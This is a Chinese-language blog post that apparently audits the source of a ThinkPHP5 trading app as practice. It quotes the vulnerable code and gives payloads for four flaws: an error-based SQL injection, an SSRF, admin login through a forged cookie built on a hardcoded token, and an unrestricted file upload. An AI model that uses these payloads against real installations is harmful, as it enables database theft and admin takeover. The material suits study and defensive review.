• 某微盘源码审计


    前言:

    在资源搜索网盘下载到了这套源码,决定拿它练下手
    分析一下代码的逻辑,加深对一些常见漏洞的理解。如果有什么不对的地方,欢迎师傅们指出。
    源码是基于thinkphp5+mysql开发

    前台SQL注入

    漏洞位置 applicationindexcontrollerGoods.php

    public function ajaxkdata()
        {
            //获取k线图数据,转化为array
    
            $pid = input('param.pid');
            $data = Db::name('productdata')->where('pid='.$pid)->find();
            $newdata = array();
            if($data){
                $data['UpdateTime'] = $data['UpdateTime'];
                $newdata[0]['price'] = $data['Price'];
                $newdata[0]['open'] = $data['Open'];
                $newdata[0]['close'] = $data['Close'];
                $newdata[0]['lowest'] = $data['Low'];
                $newdata[0]['highest'] = $data['High'];
                $newdata[0]['time'] = $data['UpdateTime'].'000';
                $newdata[0]['fulltime'] = date('Y-m-d H:i:s',$data['UpdateTime']);
                $newdata[0]['goodtime'] = date('Y-m-d H:i:s',$data['UpdateTime']);
    
            }
    
            return $newdata;
        }

    $pid变量用input,拼接进了where查询,造成注入

    payload:

    SELECT * FROM xxxx WHERE ( pid=1) and updatexml(1,concat(0x7e,user(),0x7e),1) # ) LIMIT 1

    SSRF

    漏洞位置 applicationindexcontrollerApi.php

    public function post_curl($url,$data){
      $ch = curl_init($url);
      curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST");
      curl_setopt($ch, CURLOPT_POSTFIELDS,$data);
      curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
      curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
      $result = curl_exec($ch);
      if (curl_errno($ch)) {
        print curl_error($ch);
      }
      curl_close($ch);
      return $result;
        }

    这是典型的SSRF漏洞,代码没有过滤将传入的url值带入curl_exec函数造成SSRF

    漏洞验证:

    管理后台登录凭证伪造

    漏洞位置 applicationadmincontrollerBase.php

    可以看到先是判断有没userid值,然后判断token是不是'nimashabi'用MD5加密的值

    这里在检测otype是否等于3

    otype userid的值可以在数据库中得到,这样就可以构造COOKIE进行登录后台

    payload:

    think_var=zh-cn;denglu=think:{"otype":"3","userid":"1","token":"3c341b110c44ad9e7da4160e4f865b63"}

    后台任意文件上传

    漏洞位置 applicationadmincontrollerSetup.php

    public function editconf()
        {
    
    
            if($this->otype != 3){
                echo '死你全家!';exit;
            }
    
            if(input('post.')){
    
                $data = input('post.');
    
                foreach ($data as $k => $v) {
                    $arr = explode('_',$k);
                    $_data['id'] = $arr[1];
                    $_data['value'] = $v;
                    $file = request()->file('pic_'.$_data['id']);
    
                    if($file){
    
                        $info = $file->move(ROOT_PATH . 'public' . DS . 'uploads');
                        if($info){
                            $_data['value'] = '/public' . DS . 'uploads/'.$info->getSaveName();
                        }
                    }
                    if($_data['value'] == '' && isset($arr[2]) && $arr[2] == 3){
                        continue;
                    }
    
                    Db::name('config')->update($_data);
    
                }
                cache('conf',null);
                $this->success('编辑成功');
            }
    
    
        }

    跟进file()函数

    public function file($name = '')
        {
            if (empty($this->file)) {
                $this->file = isset($_FILES) ? $_FILES : [];
            }
            if (is_array($name)) {
                return $this->file = array_merge($this->file, $name);
            }
            $files = $this->file;
            if (!empty($files)) {
                // 处理上传文件
                $array = [];
                foreach ($files as $key => $file) {
                    if (is_array($file['name'])) {
                        $item  = [];
                        $keys  = array_keys($file);
                        $count = count($file['name']);
                        for ($i = 0; $i < $count; $i++) {
                            if (empty($file['tmp_name'][$i]) || !is_file($file['tmp_name'][$i])) {
                                continue;
                            }
                            $temp['key'] = $key;
                            foreach ($keys as $_key) {
                                $temp[$_key] = $file[$_key][$i];
                            }
                            $item[] = (new File($temp['tmp_name']))->setUploadInfo($temp);
                        }
                        $array[$key] = $item;
                    } else {
                        if ($file instanceof File) {
                            $array[$key] = $file;
                        } else {
                            if (empty($file['tmp_name']) || !is_file($file['tmp_name'])) {
                                continue;
                            }
                            $array[$key] = (new File($file['tmp_name']))->setUploadInfo($file);
                        }
                    }
                }
                if (strpos($name, '.')) {
                    list($name, $sub) = explode('.', $name);
                }
                if ('' === $name) {
                    // 获取全部文件
                    return $array;
                } elseif (isset($sub) && isset($array[$name][$sub])) {
                    return $array[$name][$sub];
                } elseif (isset($array[$name])) {
                    return $array[$name];
                }
            }
            return;
        }

    可以看到处理上传文件并没有过滤,最终上传的文件move到/public/uploads/目录下。

  • 相关阅读:
    JavaScript replace() 方法
    vs2010注册码 激活方法
    Javascript 返回上一页
    错误:该行已经属于另一个表
    Oracle10g中如何分析响应时间
    Oracle Purge和drop的区别
    Oracle 的 Sql*Plus 常用命令介绍【转】
    如何实现oracle不同版本间数据的导入导出
    如何绑定变量使用
    Oracle PGA 介绍
  • 原文地址:https://www.cnblogs.com/0daybug/p/13665697.html
Copyright © 2020-2023  润新知